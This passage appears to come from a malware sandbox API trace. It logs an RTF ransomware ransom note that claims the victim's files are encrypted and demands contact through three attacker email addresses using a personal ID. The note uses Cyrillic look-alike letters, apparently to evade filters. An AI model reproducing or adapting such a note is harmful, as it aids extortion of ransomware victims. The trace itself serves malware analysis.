r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 